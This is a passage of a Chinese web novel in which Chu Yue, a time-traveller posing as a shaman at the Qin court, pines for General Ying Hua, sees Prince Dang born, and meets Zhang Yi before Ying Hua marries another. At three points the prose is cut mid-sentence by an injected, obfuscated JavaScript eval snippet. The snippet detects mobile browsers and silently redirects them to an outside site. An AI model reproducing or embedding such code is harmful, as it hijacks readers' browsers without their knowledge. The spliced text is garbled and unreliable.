终于等到他们汇报完毕,正门打开,将领陆续从里面出来,嬴华正和嬴轩说说笑笑,一歪头,不妨见黑暗中坐着个小人,试探性喊了一声,“楚越?” 楚越打了激灵,立刻站了起来。 嬴华拍了拍她的头,“你怎么来了?” “我和君上一起来的。”楚越搬出了嬴驷。 “哦,那你怎么这么晚了怎么还在这里。” 楚越困的眼皮都睁不开了,打了个哈切,“我在等你啊。” “等我?”嬴华一时困惑,“等我做什么?” “我在这里等你,我想跟你说,公子华将军你真是太神勇了!”楚越目不转睛的盯着嬴华,两眼放光。 嬴华蹙眉,“你等这么晚,就是为了跟我说这个?” 楚越点点头,“对呀!” 头上又挨了一下。 嬴华嘴角勾起道弧度,却故意板着脸,“好了,我知道了,快回去睡觉吧。” 楚越说完想说的话,兴高采烈的转身离去,留下身后嬴华、嬴轩兄弟目送她背影离去。 嬴轩用肩膀撞了下嬴华,“她怎么老找你?” 嬴华显然没有明白嬴轩话里的意思,“谁知道呢?小女娃想一出是一出的。” “我总感觉她跟平常的小姑娘不一样。”嬴轩若有所思,“或许,有过人之处,也与常人不同。” 嬴华被嬴轩一点,似乎想到了什么,望着楚越消失在黑暗中的背影短暂出神。 和别人都不同吗? 视察完前线,次日清晨,嬴驷便返回了咸阳,楚越打开车窗,和嬴华、嬴轩道别,她伸长了脑袋,念念不舍望着嬴华身影消失在眼前。 “别看了。”嬴驷出声道。 楚越关了车窗,“是,君上。” 嬴驷打量着楚越,似有所思,“不解甲,就能让华弟免于刀兵之厄吗?” “是。” 打七年仗回来或许会不记得她,但比起在咸阳待七年,娶妻生子,不记得似乎也不是什么大事。 可以重新认识。 不要紧。 嬴驷没有说话,但楚越知道,自己的话一定对他产生了影响,两人回到咸阳,一进王宫,便有宫人前来报喜。 “恭喜君上,魏夫人有妊。” 魏夫人怀孕了,嬴驷大喜。 去见魏夫人路上,楚越掐着手指算了算,奋六世之余烈,六世是,惠文王,秦武王.... 这是那个举鼎的武王? oh,老天爷! 国夫人有妊,当然是好事,魏夫人诊断出有孕,恰好是她嫁来的第三个月,礼制三月庙见,嬴驷要与魏夫人一道拜祭秦国先祖,向祖先禀告娶夫人之事。 秦国的宗庙在雍城,既是夫人庙见,又庆贺国君有后,阵仗不是一般大。庙见之后,魏夫人的地位正式确立,他是秦国国君嬴驷的嫡夫人,腹中孩子是当之无愧的嫡长子。 武王尚孕育母腹,前线不断传来捷报,秦军节节胜利,义渠败退,大军不日便可得胜班师。 大军班师,自然少不得庆典,魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374000|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人亲自为楚越做了一件红色的锦袍,还为她梳好发髻,佩戴上首饰。 楚越穿着锦衣在镜子前转来转去,人靠衣装,红色的锦衣与头上的金饰将她衬得气质华贵,像是个出身不凡的女公子。 “这才像是国君家的孩子。”魏夫人眼中,满是对楚越的欣赏。 楚越在魏夫人跟前坐下,魏夫人握住她的手,轻轻按在了自己的肚子上,她的手很软,身上是熏香的味道,楚越的手按在魏夫人腹部,感受里面的生命。 这就是未来的大秦武王。 一个举鼎而死的王,死后谥号为武,是不合乎常理的。 楚越抬起头,在魏夫人温柔而期待的目光中,缓缓开口,“会是个像君上一样英武的公子。” 预测男女,对她司巫的名声是个稳赚不赔的买卖。 魏夫人一笑而过,“是男是女都好。生个公子为君上开疆拓土,生个女公子也能如楚越这样可爱。” 被人夸,是件很开心的事情,但被夸可爱,楚越还是有点伤心。 她可不是个娇滴滴的孩子,她比魏夫人要大。 她,是个成年人。 楚越小心将那件新衣收了起来,想等嬴华班师,穿着去见他,没过多久,宫中便传来秦军凯旋的消息。 魏夫人也发动,生下了一个公子。 公子荡是嬴驷的第二个儿子。 在此之前,卫夫人为他生下了长子,嬴壮【1】。 但魏夫人为国夫人,宗法制,正妻所出第一个儿子为嫡长子。 战国时,嫡长子继承制已经不吃香,但在秦国,这一制度,还是非常重要。 秦国世居西隅,杂胡戎之间,战争非常多,君主洒血沙场,也是常有,年轻的君主无法应对复杂的局面,这就注定他的王位继承制度,不会是严格的嫡长子继承制,有时间会夹杂兄终弟及。 继承法则唯实力,也容易造成混乱,嬴驷的爷爷献公之前,出现了四代乱政,掌控军权的庶长,随意废立国君。 六十年间,国君更迭频繁,一位秦公和他的母亲,被沉进河里。到了献公后,才渐渐稳定,这个时候秦国向东方靠拢,开始注重礼法,并吸取前代教训,在立储上,趋向保守。 嬴驷的老爹孝公就是嫡长子。 他本人也是。 就连秦始皇老爹子楚,也是认了嫡夫人华阳夫人为母,多了一重嫡长子身份。 公子荡出生时,大军班师,先是秦国对魏大捷,又克义渠,嬴驷大悦,于是为这个儿子取名为荡,荡者从汤,纪念成汤,涤荡天下。 成汤,上古之王,秦人的先祖去夏亲商,辅佐汤建立商朝,嬴驷对嬴荡这个嫡长子的重视程度与期盼,从为他取的名字中就可见一斑。 他庄重的按礼节祭祀了天地、祖先,将自己得到嫡长子的消息,告知秦国先公。 人类的悲喜并不相通,嬴驷为自己有儿子高兴,那是他的高兴,楚越高兴,是因为嬴华班师,她穿着魏夫人为她做的一身新衣,乘轺车去见嬴华。 小车刚出王宫,就迎面和嬴驷回宫的车驾相撞。 嬴驷第一眼没认出来楚越,伸出头眯着眼睛看了好几眼才认出她,他叫住了楚越,“准备去哪儿啊?” “君上,我去找公子华将军啊!已经和国夫人说过了,她同意了。”楚越高兴的伸展开双臂,向嬴驷展示自己的衣服。 嬴驷脸上嫌弃一闪而过,叮嘱道:“早些回来。” 5. 为你而来 大军凯旋,驻扎在城外,暂时休整,等着不日进城献捷。 献捷是古代军礼的一部分,将帅向君主献上战利品,君主犒劳将士后,解散军队,命他们回家。 楚越到时,军营里欢声不断,胜利的喜悦充斥在每一个秦军将士的脸上,他们围坐在一起,击剑为伴,引吭高歌,唱的是《诗·秦风·无衣》。 “王于兴师,修我戈矛。与子同仇!岂曰无衣?与子同泽。王于兴师,修我矛戟。与子偕作。【1】” 一曲唱毕,有人唱起另一首曲子,是《诗.秦风.蒹葭》。 “蒹葭苍苍,白露为霜。所谓伊人,在水一方。溯洄从之,道阻且长。溯游从之,宛在水中央。【2】” 婉转歌声中,楚越提起裙角,四处搜寻着嬴华的身影,她很想见到他,逆时光洪流而上的怅惘,在遇见他的一瞬,烟消云散。 他穿过空地,似乎该为她而来。 那她又何尝不是,为他而来。 那道熟悉的身影很快出现在不远处,嬴华也看到了楚越,笑着朝她展开手臂,楚越提起裙角,飞快朝他跑了过去。 她扑进嬴华怀中,嬴华顺势将她高高举起。 “你好大的胆子,敢一个人来这里。”嬴华又惊讶,又欣赏,他望着空中的楚越,骄傲道:“不愧是我们的司巫,果真与众不同。” 作为主帅,嬴操热情接待了楚越。 楚越坐在嬴操下首,饶有兴趣的看嬴华与同袍相互灌酒取乐。 嬴操微熏,面色潮红,不经意间捕捉到了楚越聚精会神的目光,顺着楚越的目光看去,是喝的上头正与嬴轩比试掰手腕的嬴华。 他眉头微微一簇,好像明白了什么,楚越正好扭头,对上了嬴操的目光。 小姑娘的眼睛干净而透亮,嬴操一阵恍惚,他觉得一定是自己喝多了,看错了。 嬴轩输给嬴华,在众人的哄笑中端起面前的酒一饮而尽,他脸色涨红,不服输的要再来。 “再来再来!” 嬴华哼了一声,“再来就再来。” 他注意到一旁聚精会神望着自己的楚越,朝她招手,楚越走过去,嬴华拉着楚越在自己面前坐下,“来来来,你来当裁判。” 楚越笑吟吟抱住两人的手,当起裁判。 两人角力,身边的人就拱火,唯恐两人不尽力,自己看不到乐子。 嬴轩咬紧牙关,手还是不受控制的一点点偏了下去,最终被嬴华按在了几案上。周围爆发出一阵哄笑,嬴轩一气连饮三碗,嬴华端起面前的酒盏,凑到楚越面前。 “我不告诉国夫人,要试试吗?” 楚越回首,望着嬴华的眼睛,嬴华垂眸望着他,满是怂恿,像是大人对小孩的戏弄。 一时恶趣。 楚越眼底的光芒暗淡,摇摇头,郑重道:“夫人会生气的。” 嬴华拍了一下她的头,“刚还说你胆子大,怎么又小起来了,这可不像我们秦人的女子。” “咦,嬴华坏,你不跟他玩。” 说话的是另一个青年,他与嬴华一般年纪,不过弱冠之年,单眼皮,高颧骨,很兵马俑的长相。 ‘兵马俑’青年饶有兴趣的望着楚越,“国君家的女子长得就是乖巧,长大以后,一定是个大美人。” 楚越笑了,“那你以后也一定会是个大将军、大英雄。” “那我呢?他是大英雄,那我是什么?”嬴华捏着她的脸,逼问道,“怎么胳膊肘往外拐,这样的话你都没和我说过。” 楚越推开嬴华的手,“我很公正的!秦国所有的将士都是大英雄。” 嬴华盯着楚越,漆黑的眼底满是温柔笑意,楚越注视他清澈的眼睛,怎么也无法挪开自己的视线,一颗心砰砰乱跳,她不得不别开头,“我要回去了。” 天色不早了,回咸阳还要一段时间,楚越辞别嬴操、嬴华,坐上了返程的马车。 回到天启阁,早有人在这里等她,是公孙衍。 “犀首。”楚越郑重向公孙衍行礼。 对于这位救命恩人,她十分尊敬。 “楚越不必多礼。”公孙衍微微颔首,“我是来向你辞行的,不日,我就要向君上请辞,离开秦国了。” 楚越愣了一瞬,“大良造要走。” “是。秦君已经任命了张仪为客卿,托他以邦交之事,正所谓,道不同不相为谋,对于天下,我与张子,有不同见解,秦君既用张子,我便只能离去。” 张仪入秦的消息,楚越也有所耳闻,一山不容二虎,两位名士都意在相国之位,注定不能共存。 公孙衍任大良造之后,带着秦国节节胜利,是秦相的不二人选,但,张仪的出现改变了现状。 他带来了更好的国策,嬴驷也显然对张仪更感兴趣,任命他为客卿,于是公孙衍成了被辜负的大臣。 君不重用,臣便要离开。 “先生准备去哪一国?”楚越问道。 “回魏国。” 楚越一时语塞。 好大的胆子,刚帮秦国大败魏国,斩首八万魏军,俘虏了魏国老将,现在居然还敢回魏国去? 也不怕被魏国人吃了。 “先生珍重。”楚越站起身,肃拜公孙衍,“多谢先生救命之恩,无以为报。” 公孙衍扶起楚越,“世道艰难,司巫珍重。” 张仪和公孙衍的矛盾集中在对魏国。 一个要打,一个建议和。 公孙衍魏人身份,让他的主和政策陷入是否一心为秦的争论,于是相国之位与他更是无缘,他决定离开,秦君再三挽留,公孙衍却执意要走。 战国这些名士,没有不想当丞相的。 董事长有血继限制,CEO是他们能够到的最高位置。 公孙衍一走,秦国俨然成了张仪的主场。 嬴驷派遣嬴华与张仪一道领兵,讨伐魏国。 魏国地刚割,亲刚和,本以为能暂时喘息,谁料秦兵又压境。 嬴华才从义渠战场下来,又马不停蹄去攻打魏国,楚越想,嬴驷或许是信了她的鬼话。 这还不够。 “我也要去。”楚越向嬴驷主动请缨。 国家大事在祀与戎,先秦时代,军祭贯穿整个战争的始末,出征要祭,路过山川要祭,战前要祈求胜利,战后要招魂,安抚亡灵。 故而军队中有专职巫祝,跟随大军作战,军队中,也不乏女性身影,商君曾编壮女为军,为三军之一,孟尝君也曾将夫人们编在队列之中。 作为嬴驷请来的专业技术人才,楚越不想吃白饭。 公孙衍这种人才都有被优化的一天,她也要居安思危。 “食君之禄,担君之忧,君待我以国士,愿为君上解忧。”楚越请求道。 嬴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374001|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驷看她的眼神很复杂,惊讶混着担忧,良久,他才道:“你年纪还小,若真要回报,时日还长。” “君上不以臣年幼,委臣官职,臣自然要为君上肝脑涂地,死而后已。待在王宫之中,不见山川,不见天地,如何能见未来。”楚越锲而不舍。 “罢了,你去吧。” 战鼓催催,刀兵的肃杀隐藏在春日清晨微凉的日光里,站在高台上俯瞰大地,台下旷野千里,黄土苍凉,这是秦魏两军即将厮杀的战场。 巫、祝在台上跳动夸张的舞蹈,他们用这种古老的军祭传统在向上天祈求战争的胜利。 战争,是为了掠夺,而死亡与失去,是掠夺的代价。 祭祀结束,楚越就跟着祝官回到了大营。 虽然嬴华并不相信楚越,但还是问她:“你觉得谁会赢?” 楚越笃定道:“秦国。” 嬴华笑了下,忽然看向楚越,问道:“神为什么眷顾世人?神又为什么只眷顾秦人?不眷顾魏人?” 忽如其来的疑问,打的楚越措手不及。 她语塞,答不上来。 站在楚越的视角,战争的胜利与否,其实和神没有太大关系。 魏国之败是因为魏国不如秦国制度先进。 但,这种大实话和她现在的身份不符合。 她是假借神灵之名混口饭吃的司巫,不能说出这种对自己不利的话。 楚越只能保持沉默。 嬴华盯着她,“怎么不说话了?” “困了。” 嬴华蹙眉,“你怎么吃饱了就困?” 说着,他就要捏她的脸,楚越早料到他会出手,灵敏躲过,她盯着嬴华,不忿道:“不许捏我脸!” 嬴华笑了,往前走了两步,楚越后退,却被他一把抓住手臂,下一瞬,脸又疼起来,“好大的脾气,死女娃!” 楚越挣扎不开,大喊道:“嬴华!” “怎么说话呢。”嬴华手上的动作不减,“叫兄长!” 楚越宁折不弯,“不。” 两人正纠缠,忽有小兵道:“将军、司巫,客卿请您二人过去。” 魏人张仪,传闻他与苏秦同拜在鬼谷子门下,入秦之后,被嬴驷拜为客卿。 鬼谷子是个神秘的人,关于他的传闻很多,但见过他的人不多,世人知道鬼谷子,更多是从他两位弟子苏秦和张仪口中。 但张仪和苏秦,又是靠嘴吃饭的人,虚构出一个老师提高身价,也并非不可行。 故而鬼谷子是否存在,古往今来,都一直存在争议。 楚越好奇打量着面前儒雅的青年,青年也好奇打量着她。 张仪微微一笑,故弄玄虚道:“让我猜猜,司巫来这里是为了什么?是因为公孙先生吗?” 楚越也学着他的样子故弄玄虚,“我来算算,客卿来秦国又是做什么的?是为了高官厚禄吗?” 张仪会意,哈哈笑出声,“列国传言说那巫咸后人不同凡响,而今亲眼见到了,竟然只是个小孩子,可见世人之语,不可尽信。但——” 他看向楚越,“也不可不信。” 张仪抬手,向楚越一揖,“方才多有冒犯,还请司巫海涵。” 楚越学着他的样子,“不敢。” 一旁嬴华双手抱臂,“你俩差不多行了。” 张仪和楚越对视一眼,不约而同笑了。 6. 成婚 嬴华将头盔重重磕在几案上,楚越刚搭起来的肉干墙霎时土崩瓦解,她不满看向嬴华,嬴华眼中闪过一丝愧疚,但很快被怒气压下,他气呼呼背过身,谁也不理。 “你怎么了?谁惹你了?”楚越问道。 嬴华没好气道:“张仪!” “那你去找张仪啊,你为什么要对我发脾气?”楚越不解道。 嬴华瞪了她一眼,“谁对你发脾气了,刚才是不小心的。” 他伸手,将楚越从地上拽起来,“不要总待在屋子里,出去走走。” 楚越挣开他的手,不满道:“不是你跟我说,外面危险,让我待在屋里不要乱跑,你好奇怪。” “那是战时,现在都打完了。” 嬴华不由分说,拽着楚越就往外走。 河水宽广,嬴华和楚越坐在河边,落日映射在水面,碎金粼粼,河岸两旁水草茂盛,随风轻摇,余晖中的蒲阳城,宁静而肃穆,嬴华望着蒲阳,视线久久不曾挪开。 “秦得上郡十五县,东至河西上郡,东北至固阳,都将尽秦掌控之中....可是...” 嬴华低头,长叹口气,“战士洒血,才换来的城池,很多人都死了,就这么白白还回去,我不甘心。” 他侧首看向楚越,“我和你说的话,你不能告诉别人。” 楚越对上嬴华视线,秦制,诽谤君王,是重罪,他有很多话想说,却不能说出口,将军只需要奉命而行,可他不是杀戮的机器,而是个人。 他清楚秦国在这件事上的利得,却也放不下同袍的牺牲,他们曾众志成城,要攻克蒲阳.... 阳光照在嬴华眼眸,他浅褐色的瞳眸愈发清澈,旷野无边,晚风寂静,水声潺潺,天地之间,似乎只剩下他们两个人。 楚越转过头,“放心吧,我不会告诉别人的。” 张仪克蒲阳后,奉命出使魏国,秦军并没有撤兵,驻扎在蒲阳,等待进一步军令。 秦军依旧高度戒备,预防魏军来袭,但已经胜利,也不如过去紧绷,张弛有度,一半戒备,一半原地休整。 休整的时候,嬴华和几个‘兵马俑’便带楚越出去玩。 埋釜的埋釜,捡柴的捡柴,洗菜的洗菜,一个‘兵马俑’指挥楚越道:“你去看看有没有鱼上钩。” 河水清澈,不远处一根钉入河床的木楔上,拴着绳索,装着诱饵的鱼篓,是昨天傍晚嬴华放下去的。 楚越望着不远处的鱼篓,不知怎么,脑海中闪过放鱼篓的时,从她面前游过去的一条黑蛇。 先秦时,生态非常好,好的让楚越脊背发毛。 “怕什么,那蛇没毒。”嬴华目不斜视。两巴掌拍掉了自己腿上的蚂蟥。 楚越往后退了三步,生怕蚂蟥沾到自己身上。 草丛中传来簌簌微响,昨日那条蛇的样子还在眼前,楚越有些动摇,但要是这么回去,又会被那群‘兵马俑’嘲笑。 她咬咬牙,脱了鞋。 河底石子硌人,楚越前怕蛇后怕蚂蟥,每一步都走的战战兢兢。水并不深,很快她指尖就勾到了鱼篓的系绳,用力一拽,将竹子编成的瘪筐拉到了自己面前。 楚越抱住鱼篓,扭头就往岸边跑。她跑得很快,好像有蛇在她身后追,蚂蝗快叮到腿上,动作幅度一大,水花飚溅,漫天如雨下。 冰凉的河水落到她头上、脸上,凉浸浸的,她跑得更快了,不远处有人注意到了水中异样,丢下手中的东西跑了过来。 楚越一上岸,就对上嬴华蹙眉打量的目光。 “有水鬼在追你吗?还以为你掉水里了。” 楚越丢下筐子,仔仔细细检查自己小腿前后,确定没有蚂蟥粘在身上,这才松了一口气。 “哦,你怕虫子。”嬴华笑着捡起地上竹筐,往里扫了一眼,他朝楚越招手,“你看看,这是什么?” 楚越凑上前一看,筐子里没有鱼,只有一条漆黑的水蛇,嬴华猛地将筐子朝前凑,楚越被吓了一跳,躲闪不及,一屁股跌坐在地。 “哈哈哈。”嬴华哈哈大笑。 楚越从地上爬起来,大叫道:“嬴华!” 炊烟很快飘了起来,‘兵马俑’们的动作很麻利,肉是他们自己抓的猎物,当兵之前,有一个‘兵马俑’是猎户。 ‘猎户兵马俑’坐在楚越对面,忽然伸手在空气中抓了一把。这一举动,吸引了楚越的视线,见她望过去,‘猎户兵马俑’当着她的面摊开手。 他掌心是一颗尖锐的牙齿,应该是某种动物的。 “拿去玩。” 楚越正准备伸手,牙却被另一只手提前拿走,身侧陡然一挤,嬴华在她身边坐下,手里拿着那颗牙,在她面前晃悠,“知道这是什么牙吗?” “不知道。” “是野猪牙,见过野猪吗?” 楚越看了一眼釜中沸腾的肉汤,“见过,怎么没见过。” 几十分之一也是见过。 嬴华笑了,却顺手将野猪牙揣进了自己怀里。 “你不要脸!你抢我东西!”楚越张牙舞爪扑进了他怀里,嬴华一手抱住她,另一手捏住了她的脸,“说什么呢,叫兄长我就给你。” “不。”她依旧宁折不弯。 退出蒲阳的军令很快下达,秦军和魏军交割防务,离开了蒲阳,楚越与嬴华回到咸阳,张仪也已经出使魏国归来,因为得上郡之功,正式拜为相邦。 另一边,义渠君在遭到秦国重创后,决定俯首称臣,秦在义渠推行县制。 强大之后,张仪建议秦国也称王。 秦君眼睛明显亮了,谁会嫌弃王号呢? 称王这种事,当然不能自己关起门玩,需得各国承认,称王是张仪提出,也就由他一手筹备,派人出使各国。齐楚都承认了秦国的王位,并释放出友好的态度。 秦君称王,立魏夫人为王后。 “荡儿马上就满周岁了,司巫觉得给荡儿做件什么颜色的新衣服好呢?”魏王后拿着一堆锦缎问楚越道。 楚越的目光落到了摇篮中熟睡的婴儿身上,小小的嬴荡十分可爱,白白净净的小脸,吹弹可破,“红色吧,显白。” 两人正围绕嬴荡闲聊,忽有宫人入内禀告,“王后,孟夫人来了。” 来人是个中年女子,行礼之后,问过几句公子荡近况,便切入主题。 “王后之前提及,想要解除我家季孟与公子华的婚事,我回家与夫君、季孟商议,已有结果,特来回禀王后。” 楚越有些惊讶,悄然抬眸看向来人,她不知道嬴华已有婚约,听来人被称作‘孟夫人’,秦国大族,却有孟氏,嬴华的未婚妻,听起来出身不凡。 她静静听着孟夫人下文,谁料孟夫人接下来的话,让她的心如坠冰窖。 “国事体大,公子华将军为国家征战,是秦国的英雄,季孟说,她仰慕英雄,愿意等公子华将军,无论是一年,两年,还是十年二十年,她都愿意等下去。” 孟夫人话说到这个地步,即便是魏王后,也不好再反驳,楚越的心沉到谷底,正思索对策时,却不妨对上一道打量的视线。 “昔年巫祝占卜我儿与公子华将军的婚事,并无不妥,怎么如今忽然就不吉了?这其中,未免蹊跷。” 孟夫人虽然是在和王后说话,视线却一直盯着楚越。 王后觉察到孟夫人看楚越的视线不善,当即沉了脸,呵斥道:“夫人此言何意?可是质疑小童【1】与大王。” “不敢,王后恕罪。” “好了,你先退下吧,这件事我会和大王再商议。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374002|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 事关王弟婚事,兹事体大,王后不能独断乾坤,要与嬴驷商议。 这个消息太过震惊,楚越一时措手不及,她心神不宁的站了起来,“王后,我先告退了。” “是她吓到你了吗?你先回去吧。”王后温声安慰楚越道。 这个时代男女普遍早婚,嬴华将近弱冠,再往后拖,就是大龄单身男青年。 公子王弟的身份摆在那里,想嫁给他的姑娘能从咸阳城东门排到西门。 楚越不由去想,即便他真的七年不婚,那七年之后呢? 王孙和她,一个不知来历,没有家世的女子之间,有将来吗? 那嬴华呢?他怎么想? 她似乎从头到尾,都没有问过他的意见。 她这样胡思乱想着,脚下的步伐越来越快,很快就回到了天启阁。刚进院中,他就看到一个熟悉的身影正站在院中。 嬴华进宫大多着甲,鲜少有不穿甲,很少有像今日这样穿着华丽,一身绯色广袖直裾深衣,腰间佩玉,不像是个将军,更像个士人。 他右手上提着一个桐叶包,楚越知道里面是蜜渍果脯,他每次来都会给楚越带一包,小孩子喜欢吃甜食,他将楚越当成小孩子,才会次次送她果脯。 嬴华笑着朝楚越扬了扬手中的果脯,像真正对待一个小孩子那样对待她。 一根小刺狠狠扎在了楚越心头,不管怎样都无法挑出来,伤口隐隐作痛,范围越来越广。 楚越将嬴华带到了室内,嬴华打开果脯,“尝尝。” 楚越吃了一颗。 这包果脯在过去,是酸涩中带着甜,现在,只剩下酸涩。 她想问嬴华,却不知从何开口。 “我要成亲了。”嬴华脸上洋溢着幸福的笑容。 楚越瞳孔一震,不可置信望向嬴华。 “我已经见过君上了,你知道的,我们武将,从来不信鬼神,所以很抱歉,我不能听你的。” 这个唯物的古人,冲破了她的计划。 “你见过你要迎娶的夫人吗?”楚越问道。 嬴华摇头,“没有,听说长得挺好看的,个儿高,皮肤白,她托她兄长找我,说她愿意等我,十年,二十年,都愿意等我,能娶到这么个夫人,是我有福气。” 他说的自豪,又得意,楚越鼻头一酸,一大颗眼泪径直从眼眶里掉了下来,砸在手臂上。 幸亏无人发现,楚越调整好情绪,“好吧,既然你不信,那我也不能强求。” “我是来给你送请柬的,虽然说君上会带着你,但是你不总说你是巫咸后人,跟普通的人不一样。所以我亲自来给你送个请柬吧!怎么样!我够意思吧!” 嬴华越说越自豪。 “哦?” 现在把她当大人了?! “我不去。”楚越一口拒绝。 让她去参加嬴华的婚礼?谁想出来的事情? 是嬴华。 “你还生我气呢?”嬴华低头去看楚越的脸,楚越不想让他看出自己脸上的情绪,于是别开头去,嬴华没看到,叹口气,“别生气了。” 他从胸口掏出了块手帕,打开一看,里面是当日的野猪牙,牙上钻了孔,还配上了别的宝石,“一颗牙多难看,这样就好看多了吧。” “我不去!”楚越倔强道。 见楚越真不想去,嬴华也没有勉强,“那好吧。” 嬴华的背影,消失在天启阁前,楚越再一次站在宫殿前开阔地带,远眺落日,消失已久的孤独感,汹涌袭来。 暮色吞噬天边最后一缕光线,黑夜笼罩大地。 这个世界,原本就和她没有关系的,作为一个误入其中的旁观者、路人,她原本就不该步下高台,更不该妄想,与别人产生命运的交集。 7. 八年 自从嬴华成婚,楚越便不太爱出门了,她除了每天陪着公子荡玩耍,就是出神望天,没人知道她在想什么,连她自己也不知道。 嬴荡长得很快,不久就学会了说话,一口一个姊姊的叫着楚越,见楚越抬头望天,大胖小子也跟着她一起仰望苍穹。 楚越搂过嬴荡,指着天上的云,“那是云朵。姊姊以前就住在天上,很靠近云朵的地方,好像伸手,就能握住。” 她以前住在高层,有落地窗。 真怀念现代啊。 学点什么不好,学历史,学位没拿到,人还被困在过去。 “姊姊。”嬴荡的嘴很甜,听的楚越心花怒放。 她在奶团子的脸上亲了一个,“真乖,姊姊给你做糕糕吃!” 鸡蛋糕,蒸的好吃不上火。 没接广。 这个时代除了蒸就是煮,炒菜要等到宋朝,巧妇难为无米之炊,先秦并不吃面粉,而是把麦子脱壳后当米煮饭吃。 糖也只有蜂蜜和麦芽糖,还是很珍贵的东西。 做几块鸡蛋糕的成本非常高。 吃完了鸡蛋糕,楚越带着嬴荡去花园里遛狗,恰逢嬴驷也在廊下看狗,嬴荡看到父王,小跑着过去抱住了嬴驷的腿,“父王。” 嬴驷丢下竹简,将嬴荡抱起,爱昵的在他脸上蹭来蹭去,“荡儿!” 爱妻所生爱子,嬴驷对嬴荡疼爱有加。 人家父慈子孝,楚越也不好过去打扰,就蹲在庭中逗狗玩,威风凛凛的大狗躺在地上露出肚皮,任由楚越揉搓。 嬴驷有很多兴趣爱好,其中一项就是养狗。 他喜欢大犬,越凶猛护主的狗他越喜欢,这是很秦人很国君的审美。楚越也喜欢大犬,但她更喜欢没有什么攻击性的大狗,如雪橇三傻。 秦国没有雪橇犬,只有秦猃,一种黄色的细犬,适合打猎,嬴驷养了三只细犬,还有一只獒,据说是义渠进贡而来。 楚越想,她要是现在画一张世界地图传下去,说不定过几十年秦国什么犬都有了。 嬴驷在廊上逗嬴荡,楚越在廊下陪狗玩,她坚持给嬴驷的狗狗们洗澡梳毛,陪他们玩耍。还给他们取了几个很离谱的名字,大毛、二毛、四毛、五毛、六毛……… 楚越的养狗理论和嬴驷相反,嬴驷要有攻击性的狗,而楚越则希望狗能更谄媚,几条狗趴在楚越脚边,谄媚的吐着舌头,楚越摸着他们的肚皮,惬意而放松。 没过多久,嬴疾和嬴华从廊下走来,二人均一身黑甲,许久不见,嬴华比之前高了很多,猿背蜂腰,一阵盔甲衬得他愈发英武俊朗。 楚越当做什么也没看到,继续摸狗。 嬴华看到了庭中的楚越。笑呵呵走到楚越身边,大手按上她的头顶,“咦!装没看见是吧!” “……”楚越。 她再怎么努力,也追不上时间的脚步。 君生我未生,我生... 楚越很气馁。 她淡淡扭头,别开嬴华的手,继续摸狗,嬴华蹲下身子,和她说话,“我上次问你,为什么没有三毛,你还没告诉我呢。” 嬴华偶尔入宫来见嬴驷,听他提过这几个狗的名字。 听到‘三毛’,头顶传来嬴驷不满的声音。 “寡人的犬都让她养成什么了!以后不许她乱摸了。真是的!尽取些奇奇怪怪的名字,还毛毛,成何体统!” 一三四五六,没有三。 三毛。 想到三毛,楚越忽然笑了,又立刻止住,她扭过头,板着脸对嬴华道:“因为三毛是个人。” “人?” 楚越点点头,“只长了三根头发,所以叫三毛。” “你胡言。”嬴华撇嘴,“哪有人只长三根头发的。” “你这么大声做什么!”楚越蹙眉,幽怨的瞪了一眼嬴华,站起身,头也不回走了,留下身摸不着头脑的嬴华。 “好大的脾气。”嬴疾感慨道:“不过,像是我秦人的女子。” 赢驷举起嬴荡,“长大了,脾气也大了,哎呀,别管她。” 楚越越走越快,最后直接跑了起来,他一路小跑,一直跑到看不见嬴华的地方才停下,脚步一停,她又想起嬴华,沮丧地一屁股坐在台阶上,忧愁望天。 “别看了,天塌不下来。”张仪不知什么时候出现在了楚越身后,他一身华服,带冠佩剑,颇有些君子风范。 当了相国之后,张仪愈发沉稳。 蒲阳几句交谈,两人都对彼此的身份心知肚明,什么巫咸国后人、鬼谷子徒弟,都是提高身价的传言。两个用了同样方法的人,不约而同开始商业互夸。 ‘鬼谷子活了几百岁’的话,从楚越口中说出。 ‘老师见过巫咸后人’,由张仪不经意提起。 张仪的确有才,楚越不得不承认。 张仪也感慨,楚越的确能预言将来。 既然如此,何不夸之,一夸二夸,两人的关系就近了。 “走,跟我去见君上。”张仪说着,拽起楚越就往廊上去。 “君上!公子!”张仪对着嬴驷和嬴荡行礼,嬴荡乖乖的回礼,“先生。” 嬴驷将嬴荡交到楚越手中,自己与张仪议事。 “赐座。”宫人捧来垫子,几人分别坐下。 张仪所说,都是邦交,嬴驷与嬴疾都听的认真,唯独嬴华漫不经心,一言不发的摸了摸嬴荡的小脸。 楚越打开他的手,低声道:“没洗手,不要摸他脸。” 